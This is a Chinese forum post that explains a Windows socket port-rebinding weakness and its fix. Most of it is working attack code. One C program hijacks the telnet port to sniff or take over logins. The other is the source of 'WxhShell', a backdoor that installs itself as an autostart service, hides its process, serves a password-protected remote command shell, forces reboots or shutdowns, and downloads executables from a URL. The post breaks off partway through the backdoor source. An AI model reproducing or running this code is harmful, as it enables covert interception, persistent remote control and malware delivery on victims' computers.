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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ]7GlO9  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); n> w`26MMp  
qa'gM@]  
  saddr.sin_family = AF_INET; k[|~NLB8  
ixfdO\nU  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Y}G_Z#-!  
IVvtX}  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); -yH,5vD  
UXr5aZ7y  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 S6i@"h5  
}^ FulsC  
  这意味着什么?意味着可以进行如下的攻击: l$Gl'R>>*  
o+O}Te  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 [:;# ]?  
C"uahP[Y  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Y$ Fj2nk+  
.8gl< vX  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 [3/VCYje  
wFS2P+e;X  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  - xm{&0e)  
dbdM"z 4  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 $hrIO+  
c WAtju?L;  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 {=:#S+^ER  
fL*T3[d  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 <E,%@  
r|<DqTc6l  
  #include Ww3wsyx  
  #include ^c}J,tZ]  
  #include b0<o  
  #include    @\P4/+"9  
  DWORD WINAPI ClientThread(LPVOID lpParam);   xi~uv?f  
  int main() A&5:ATQ/|  
  { L1m{]>{-  
  WORD wVersionRequested; cDEJk?3+  
  DWORD ret; %8.J=B  
  WSADATA wsaData; pV[''  
  BOOL val; c "= N  
  SOCKADDR_IN saddr; d=O3YNM:v  
  SOCKADDR_IN scaddr; ;^){|9@  
  int err; )Di \_/G  
  SOCKET s; L5fuM]G`  
  SOCKET sc; kyw/LE3$-  
  int caddsize; A#h/B+  
  HANDLE mt; |AhF7Mj*  
  DWORD tid;   Z?NW1m()F  
  wVersionRequested = MAKEWORD( 2, 2 ); AasZuO_I  
  err = WSAStartup( wVersionRequested, &wsaData ); ]B\H ~Kn  
  if ( err != 0 ) { N!&:rK  
  printf("error!WSAStartup failed!\n"); _RkuBOv@e  
  return -1; f2I6!_C!+  
  } myFAKRc  
  saddr.sin_family = AF_INET; v}JD2.O+  
   yzsab ^]  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 K{fsn4rk  
&K+0xnUH  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); RD,5AShP  
  saddr.sin_port = htons(23); qPGuo5^  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) xJ8%<RR!t  
  { kJ:F *34e=  
  printf("error!socket failed!\n"); U/{6% Qy  
  return -1; Zi\['2CG  
  } W;6vpPhg#!  
  val = TRUE; U977#M Xf  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Mz]: }qmFA  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 5sO@OV\ y  
  {  cgu~  
  printf("error!setsockopt failed!\n"); h@{_duu  
  return -1;  |J5 =J  
  } ecJ6  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; xw^.bz|  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 2.e vx  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Y5q3T`x E  
SGc8^%-`  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) o|pT;1a"  
  { >JwLk[=j  
  ret=GetLastError(); ;lX(}2tXW  
  printf("error!bind failed!\n"); E.bi05l  
  return -1; sW#JjtK  
  } PCrU<J 7  
  listen(s,2); }G<T:(a  
  while(1) 58xnB!h\}  
  { %(/!ljh_  
  caddsize = sizeof(scaddr); VZn=rw  
  //接受连接请求 7%?jL9Vw  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); _,74)l1  
  if(sc!=INVALID_SOCKET) ">81J5qgd  
  { az;Q"V'6  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); oEz%={f  
  if(mt==NULL) /t<@"BoV  
  { m#/_x  
  printf("Thread Creat Failed!\n"); ;TiUpg</_3  
  break; pv!oz2w1  
  } P,S G.EFK  
  } `Pn[tuIO  
  CloseHandle(mt); U:6W+p8  
  } 5+Mdh`  
  closesocket(s); \VMD$zZx  
  WSACleanup(); Ty(@+M~-  
  return 0; 4674SzL  
  }   )jrT6x^IB  
  DWORD WINAPI ClientThread(LPVOID lpParam) t+r:"bb  
  { va|*c22;|  
  SOCKET ss = (SOCKET)lpParam; Q?t^@  
  SOCKET sc; ?']h%'Q  
  unsigned char buf[4096]; F1%vtk;2?  
  SOCKADDR_IN saddr; P>Euq'ajX  
  long num; S"mcUU}}  
  DWORD val; `fXyWrz-k  
  DWORD ret; %?C8mA'w  
  //如果是隐藏端口应用的话,可以在此处加一些判断 3Ug  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   6 9y;`15  
  saddr.sin_family = AF_INET; S{Hx]\  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); gy: %l  
  saddr.sin_port = htons(23); i`(^[h ?;  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) x"P);su  
  { FbnO/! $8  
  printf("error!socket failed!\n"); HS>f1!  
  return -1; X@)z80  
  } \<0B1m  
  val = 100; y4:H3Sk  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) w9RS)l2FQ  
  { 5qUTMT['T  
  ret = GetLastError(); |wE3UWsy  
  return -1; |H}m4-+*  
  } 2f`nMW  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) YT/kC'A  
  { PYRd] %X  
  ret = GetLastError(); ^I6^g  
  return -1; zjL.Bhiud  
  } ^ &/G|  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) jDM w2#<  
  { spofLu.  
  printf("error!socket connect failed!\n"); ;{[>&4  
  closesocket(sc); ~9\WFF/  
  closesocket(ss); \qvaE+  
  return -1; BElJB&I  
  } DD9?V}Yx  
  while(1) nfW&1a  
  { @XD+'{]  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 8.=\GV  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 \,Lo>G`!  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 'D1A}X  
  num = recv(ss,buf,4096,0); V(MFna)  
  if(num>0) &M/0g]4p  
  send(sc,buf,num,0); kU-t7'?4  
  else if(num==0) w6dFb6~R  
  break; 9vNkZ-1  
  num = recv(sc,buf,4096,0); D0(xNhmKz  
  if(num>0) FOwDp0  
  send(ss,buf,num,0); (R~]|?:wt  
  else if(num==0) e6B{QP#jq  
  break; p R dk>Ph  
  } 7?gFy-  
  closesocket(ss); 3cS2gxF  
  closesocket(sc); CBQhIvq.d  
  return 0 ; g[>\4B9t  
  } S_T^G` [  
Sw`RBN[ yo  
F;lI+^}}  
========================================================== depYqYK7G  
<WXzh5D2  
下边附上一个代码,,WXhSHELL +(D$9{y   
"1q>At  
========================================================== $P7iRM]  
j6~nE'sQ  
#include "stdafx.h" X7UuwIIP  
;g_> ;tR/  
#include <stdio.h> G!8Z~CPF  
#include <string.h> v1k)hFjPK  
#include <windows.h> 5m=I*.qE  
#include <winsock2.h> MC((M,3L  
#include <winsvc.h> K'iIJA*Sn  
#include <urlmon.h> b?4/#&z]  
M}_ i52  
#pragma comment (lib, "Ws2_32.lib") jJ4qR:]  
#pragma comment (lib, "urlmon.lib") g>d;|sK  
 HBys  
#define MAX_USER   100 // 最大客户端连接数 LIU} a5  
#define BUF_SOCK   200 // sock buffer ki0V8]HP  
#define KEY_BUFF   255 // 输入 buffer MF6 0-VE  
_mS!XF~`P  
#define REBOOT     0   // 重启 `s '#  
#define SHUTDOWN   1   // 关机 t&5%?QyM  
be5,U\&z  
#define DEF_PORT   5000 // 监听端口 {u!)y?}I-  
&~UJf4b|A  
#define REG_LEN     16   // 注册表键长度 nhSb~QqEh  
#define SVC_LEN     80   // NT服务名长度 )5JU:jNy  
=K&\E2kA4  
// 从dll定义API 6qe*@o  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 6+V\t+aug  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); N$Y" c*  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); P+t#4J  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); V>64/  
]%uZ\Q;9p  
// wxhshell配置信息 :0K8h  
struct WSCFG { E| YdcS  
  int ws_port;         // 监听端口 ]Mj/&b>"e  
  char ws_passstr[REG_LEN]; // 口令 Sp}D ;7  
  int ws_autoins;       // 安装标记, 1=yes 0=no biozZ  
  char ws_regname[REG_LEN]; // 注册表键名 ]J9cVp  
  char ws_svcname[REG_LEN]; // 服务名 133I.XBU  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 B .TB\j  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &bgvy'p  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 P^MOx4  
int ws_downexe;       // 下载执行标记, 1=yes 0=no G5dO 3lwq  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" q(5j(G ;  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 O=)  
H$ftGwS8  
}; [ rNXQ` /  
wdzOFDA  
// default Wxhshell configuration k{tMzx]F__  
struct WSCFG wscfg={DEF_PORT, I9o6k?$K  
    "xuhuanlingzhe", bW#@OrsS  
    1, wiOgyMdx  
    "Wxhshell", |8%m.fY`  
    "Wxhshell", wn>edn  
            "WxhShell Service", ^ yh'lh/  
    "Wrsky Windows CmdShell Service", N3t0-6$_  
    "Please Input Your Password: ", o }Tz"bN  
  1, E6Rz@"^XV  
  "http://www.wrsky.com/wxhshell.exe", sfr(/mp(  
  "Wxhshell.exe" n/QF2&X7)  
    }; RWgDD;&_[a  
*xf._~E  
// 消息定义模块 6b8;}],|  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; EzW)'Zzw~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; dk QaM@  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; D3Jr3 %>  
char *msg_ws_ext="\n\rExit."; ULc`~]  
char *msg_ws_end="\n\rQuit."; x?x`oirh  
char *msg_ws_boot="\n\rReboot..."; M >:]lpRK  
char *msg_ws_poff="\n\rShutdown..."; x\?;=@AW  
char *msg_ws_down="\n\rSave to "; |o'Q62`%}  
KPSh#x&I  
char *msg_ws_err="\n\rErr!"; c8)/:xxl  
char *msg_ws_ok="\n\rOK!"; |vte=)%  
&"_u}I&\  
char ExeFile[MAX_PATH]; ERUt'1F?]  
int nUser = 0; kE.x+2  
HANDLE handles[MAX_USER]; I O%6 O  
int OsIsNt; 0.r4f'vk  
#8{F9w<Rf  
SERVICE_STATUS       serviceStatus; !>x|7   
SERVICE_STATUS_HANDLE   hServiceStatusHandle; )f+U~4G&  
k&#a\OJ7u  
// 函数声明 s57N) 0kP  
int Install(void); sGY_{CZ:  
int Uninstall(void); k>}g\a,  
int DownloadFile(char *sURL, SOCKET wsh); w.Ezg j  
int Boot(int flag); M-NV_W&M  
void HideProc(void); <1w/hy&mWN  
int GetOsVer(void); C0.'_  
int Wxhshell(SOCKET wsl);  "SN4*  
void TalkWithClient(void *cs); ZaFb*XRgS  
int CmdShell(SOCKET sock); s"=6{EVqk3  
int StartFromService(void); ?3z-_8#  
int StartWxhshell(LPSTR lpCmdLine); ;TQf5|R\K  
tg4Y i|5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *fO3]+)d+  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 8T;IZ(s  
n<Svw a}  
// 数据结构和表定义 wI M{pK  
SERVICE_TABLE_ENTRY DispatchTable[] = I~PDaZP  
{ B}OY /J/*8  
{wscfg.ws_svcname, NTServiceMain}, Gx?+9C V  
{NULL, NULL} DPe]daF  
}; ^x*nq3^h\  
6 y"-I !&  
// 自我安装 LL!.c  
int Install(void) B bhfG64  
{ f#%JSV"7  
  char svExeFile[MAX_PATH]; ,!G{5FF8:  
  HKEY key; mtic>  
  strcpy(svExeFile,ExeFile); IWVlrGyM  
t<uYM  
// 如果是win9x系统,修改注册表设为自启动 fBBa4"OK=  
if(!OsIsNt) { 8$xPex~2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { l>lW]W  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]!1OH |Ad  
  RegCloseKey(key); +ww^ev%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ||2Q~*:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); hf!|\f  
  RegCloseKey(key); qv 3^5 d  
  return 0; <Y 4:'L6  
    } >-T`0wI  
  } *, Ld/O;s  
} &a> lWE  
else { Y izE5[*  
>Sk[vI0Y  
// 如果是NT以上系统,安装为系统服务 #)+- lPe  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); fnzy5+9"  
if (schSCManager!=0) s*M@%_A?  
{ 9D@$i<D:  
  SC_HANDLE schService = CreateService PDx)S7+w[  
  ( fLN!EDq  
  schSCManager, VeiElU3  
  wscfg.ws_svcname, &zL#hBE  
  wscfg.ws_svcdisp, Zr$d20M2A;  
  SERVICE_ALL_ACCESS, '/0#lF  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , TGT$ >/w >  
  SERVICE_AUTO_START, @mw "W{  
  SERVICE_ERROR_NORMAL, ~CRSL1?  
  svExeFile, K5 3MMH[q#  
  NULL, S6nhvU:  
  NULL, qOCJTOg7  
  NULL, Q>}2cDl  
  NULL, v=Y K8fNi  
  NULL Pvo#pY^dXX  
  ); h>S[^ -,  
  if (schService!=0) 7&}P{<}o^  
  { iY[+Ywh  
  CloseServiceHandle(schService); U3;aLQ*  
  CloseServiceHandle(schSCManager); 'iSAAwT2aj  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); oR+-+-? ?$  
  strcat(svExeFile,wscfg.ws_svcname); ~%w~-O2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { TmRx KrRs  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); fT:}Lj\L1  
  RegCloseKey(key); P sjbR  
  return 0; ]*"s\ix  
    } XY7Qa!>7j  
  } Ar9nBJ`  
  CloseServiceHandle(schSCManager); /k\01hc`  
} *xRc * :0  
} T*2C_oW  
R5Yl1   
return 1; /z."l!u6  
} l'4AF| p  
D  _X8-  
// 自我卸载 &!.HuRiuC  
int Uninstall(void) )9"oL!2h  
{ `ue[q!Qq  
  HKEY key; ~d>%,?zz  
`linG1mF  
if(!OsIsNt) { 8"'x)y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { '3tw<k!1{.  
  RegDeleteValue(key,wscfg.ws_regname); 4|J[Jdj  
  RegCloseKey(key); ; ~ 4k7Uz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7l8[xV  
  RegDeleteValue(key,wscfg.ws_regname); E +_&HG}a  
  RegCloseKey(key); 3 &&+Y X  
  return 0; uq7T{7~<  
  } ,+/zH'U}  
} -mNQ;zI1  
} IY(h~O  
else { `{<frB@  
pck>;V  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); QezSJ io  
if (schSCManager!=0) @9 8;VWY\  
{ H>7dND 2;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); kN9yO5 h7  
  if (schService!=0) ,krS-.  
  { ND]S(C"?  
  if(DeleteService(schService)!=0) { "Tbnxx]J  
  CloseServiceHandle(schService); C? m,ta3  
  CloseServiceHandle(schSCManager); =Z0t :{  
  return 0; ,cHU) j  
  } e29y7:)c=  
  CloseServiceHandle(schService); .CV _\  
  } <HoAj"xf  
  CloseServiceHandle(schSCManager); NGzgLSm\  
} ))#'4  
} 97~K!'/^+y  
=v-2@=NJ`K  
return 1; \3Jq_9Xv  
} Eek9|i"p  
QX0 Y>&$ )  
// 从指定url下载文件 ;_JH:}j  
int DownloadFile(char *sURL, SOCKET wsh) 83;IyvbL  
{ )qM|3],  
  HRESULT hr; [, f)9v)  
char seps[]= "/"; |"k&fkS$  
char *token; `7Ug/R<  
char *file; 90:K#nW;  
char myURL[MAX_PATH]; tm)*2lH6  
char myFILE[MAX_PATH]; ~t/JCxa  
Hhv$4;&X  
strcpy(myURL,sURL); q^Tis>*u6  
  token=strtok(myURL,seps); -WR}m6yMr  
  while(token!=NULL) NrJzVGeS  
  { iyM^[/-R6  
    file=token; /A(NuB<Pq  
  token=strtok(NULL,seps); UVX"fZ)  
  } IsYP0(L  
3B9nP._  
GetCurrentDirectory(MAX_PATH,myFILE); 8OAg~mQ15(  
strcat(myFILE, "\\"); H~9=&p[Q  
strcat(myFILE, file); ?b$3ob"  
  send(wsh,myFILE,strlen(myFILE),0); =Sxol>?t  
send(wsh,"...",3,0); #s"B-sWE  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #}o<v|;  
  if(hr==S_OK) womq^h6  
return 0; R_e)mkE  
else g()m/KS<  
return 1; "EPD2,%S  
HhSjR%6HY;  
} }p'8w\C$  
=7jEz+w#  
// 系统电源模块 l1-HO  
int Boot(int flag) f'{>AKi=C  
{ pCt}66k}  
  HANDLE hToken; K5flit4-  
  TOKEN_PRIVILEGES tkp; U"5q;9#q  
rihlae5Kz  
  if(OsIsNt) { tV`&- H  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Pz473d  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); J?jeYW   
    tkp.PrivilegeCount = 1; :R+],m il  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \C/z%Hf7-  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); h([0,:\  
if(flag==REBOOT) { ]h@{6N'oNS  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))  KOS yh<&  
  return 0; !<Z{@7oH  
} YNM\pX'  
else { 8~5|KO >F  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) k>{-[X,/OV  
  return 0; Z=9dMND  
} .cR*P<3O  
  } 60PYCqWc  
  else { BX$hAQ(6Q  
if(flag==REBOOT) { |R~;&x:  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) *i?.y*g  
  return 0; 6FjVmje  
} q<XcOc5  
else { k,]{NO   
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !#.vyBK#  
  return 0; D8/sz`N7Q  
} bj.]o*u-  
} \{>eOD_  
f[@#7,2~M  
return 1; :&$Xe1)i]  
} "jGe^+9uT  
F*<Ws;j  
// win9x进程隐藏模块 #NF+UJYJ&'  
void HideProc(void) # U`&jBU  
{ }#YQg0(  
r5)f82pQ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); A_Gp&acs$  
  if ( hKernel != NULL ) =g2\CIlVU6  
  { )dg UmN  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0*{p Oe/u  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); M9g1d7%  
    FreeLibrary(hKernel); AI fk"2  
  } w:R]!e_6\9  
V'yxqI?  
return; oZvG3_H4.  
} bV7QVu8  
rxkBg0Z`a  
// 获取操作系统版本 m t.,4  
int GetOsVer(void) 4`0;^K.  
{ +-k`x0v  
  OSVERSIONINFO winfo; JWSq"N  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); :wCC^Y]  
  GetVersionEx(&winfo); _6I>+9#C  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) SD I,M  
  return 1; j)@oRWL<  
  else 0C7"3l  
  return 0; +}]wLM}\UF  
} @}{VM)Fc+  
I)uASfT$  
// 客户端句柄模块 Y;PDZb K3  
int Wxhshell(SOCKET wsl) `R ]&F$i(E  
{ B)d@RAk  
  SOCKET wsh; :\T_'Shq  
  struct sockaddr_in client; nTQ (JDf  
  DWORD myID; JgZdS-~  
"U{mMd!9L  
  while(nUser<MAX_USER) qZc)Sa.S  
{ <v-92?  
  int nSize=sizeof(client); "lb\c  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 6!o/~I#  
  if(wsh==INVALID_SOCKET) return 1; dW6Q)Rfi  
"p2u+ 8?  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); KK MWD\  
if(handles[nUser]==0) n]Ebwznt-  
  closesocket(wsh); L/%xbm~  
else ;WPI+`-  
  nUser++; 1 pYsjo~  
  } 'jwTGT5x  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); XAGiu;<,=  
@~Rk^/0  
  return 0; &<OMGGQ[h  
} Kjvs@~6t  
ob)D{4B'  
// 关闭 socket 7{8)ykBU^  
void CloseIt(SOCKET wsh) 13]y)(  
{ 34^Q5B~^J  
closesocket(wsh); gB'`I(q5.  
nUser--; 1W4H-/Re  
ExitThread(0); %0go%_  
} yA457'R1  
@#J H=-06  
// 客户端请求句柄 LIc*tsl  
void TalkWithClient(void *cs) F\l!A'Q+t  
{ ZlUFJ*pk  
I\)N\mov e  
  SOCKET wsh=(SOCKET)cs; +# A|Zp<  
  char pwd[SVC_LEN]; f2 VpeJ<p  
  char cmd[KEY_BUFF]; FxMMxY,*%  
char chr[1]; S:DcfR=a  
int i,j; + 4++Z  
d u _O}x  
  while (nUser < MAX_USER) { vHoT@E#}'  
!k ;[^>  
if(wscfg.ws_passstr) { ',<{X (#(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !G@V<'F  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p` ^:Q*C"  
  //ZeroMemory(pwd,KEY_BUFF); :Fq2x_IUE  
      i=0; :^C#-O  
  while(i<SVC_LEN) { DB!uv[c  
t4*aVHT  
  // 设置超时 /<G yg7o0  
  fd_set FdRead; WIhIEU7/  
  struct timeval TimeOut; _q2`m  
  FD_ZERO(&FdRead); 3BuD/bs  
  FD_SET(wsh,&FdRead); @faF`8LwA  
  TimeOut.tv_sec=8; =/)Mc@Hb  
  TimeOut.tv_usec=0; *(>F'>F1"  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 8yNRx iW:  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); B>c[Zg1  
$v2S;UB v*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %!1@aL]pQ  
  pwd=chr[0]; ]M02>=1  
  if(chr[0]==0xd || chr[0]==0xa) { z0FR33-  
  pwd=0; jLpgWt`8)E  
  break; xUV_2n+  
  } gogl[gHO  
  i++; U!3uaz'  
    } &^"s=g.  
+A;n*DF2  
  // 如果是非法用户,关闭 socket ) >-D={  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); K]lb8q}Z~  
} _&6juBb  
OpbszSl"y  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Jc9@VxWY  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); iGpK\oH  
W` 6"!V  
while(1) { y81#UD9[  
0$Qn#K  
  ZeroMemory(cmd,KEY_BUFF); xV }:M  
Wl@0TUK  
      // 自动支持客户端 telnet标准   S S7D1  
  j=0; x|P<F2L  
  while(j<KEY_BUFF) { uk>q\j  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); KR+aY.  
  cmd[j]=chr[0]; 4C2>0O<^s  
  if(chr[0]==0xa || chr[0]==0xd) { 6Vu}k K)  
  cmd[j]=0; hv_pb#1Ks  
  break; g%KGF)+H  
  } 5G dY7t_1  
  j++; htNL2N  
    } @p?b"?QaB  
3(XHF3q  
  // 下载文件 [v>Z(  
  if(strstr(cmd,"http://")) { Al;%u0]5  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); M,=@|U/B  
  if(DownloadFile(cmd,wsh)) 4OB~h]Vc  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); y"%iD`{  
  else 0|qx/xo|-  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]-+.lR%vd9  
  } &9GR2GY  
  else { ]y$V/Ij=qK  
C>\h?<s  
    switch(cmd[0]) { C_g"omw40  
  rA>A=,  
  // 帮助 fS'k;r*r  
  case '?': { )U3 H1 5  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); E: LQ!  
    break; 9|?(GG  
  } ;Fwm1ezx0  
  // 安装 nATfmUN L  
  case 'i': { \I`=JKYT  
    if(Install()) 6>P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NC[GtAPD3  
    else SFXfo1dqH  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [f0oB$  
    break; )e <! =S  
    } zN8&M<mTl  
  // 卸载 ^`B##9g~  
  case 'r': { E?;T:7.%  
    if(Uninstall()) d~xU?)n)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); is _ dPc  
    else Q'%5"&XFD  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J7 zVi  
    break; !<UEq`2  
    } g)| ++?  
  // 显示 wxhshell 所在路径 3 MI) E  
  case 'p': { EY[Q%  
    char svExeFile[MAX_PATH]; kxKnmB#m-  
    strcpy(svExeFile,"\n\r"); 3T.M?UG>  
      strcat(svExeFile,ExeFile);  el*pYI  
        send(wsh,svExeFile,strlen(svExeFile),0); W> -E.#!_  
    break; ~_^o?NE,  
    } Yqz[sz5+m  
  // 重启 ky lrf4=  
  case 'b': { ^|hRu{Q W  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); KTAe~y  
    if(Boot(REBOOT)) | 9\7xT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZE3ysLk m  
    else { O+UV\  
    closesocket(wsh); Eg- Mm4o  
    ExitThread(0); BD-c 0-+m  
    } ,oi`BOh  
    break; wDC/w[4:  
    } $y]||tX  
  // 关机 DJ2]NA$Q*  
  case 'd': { *Yk8Mj^_h  
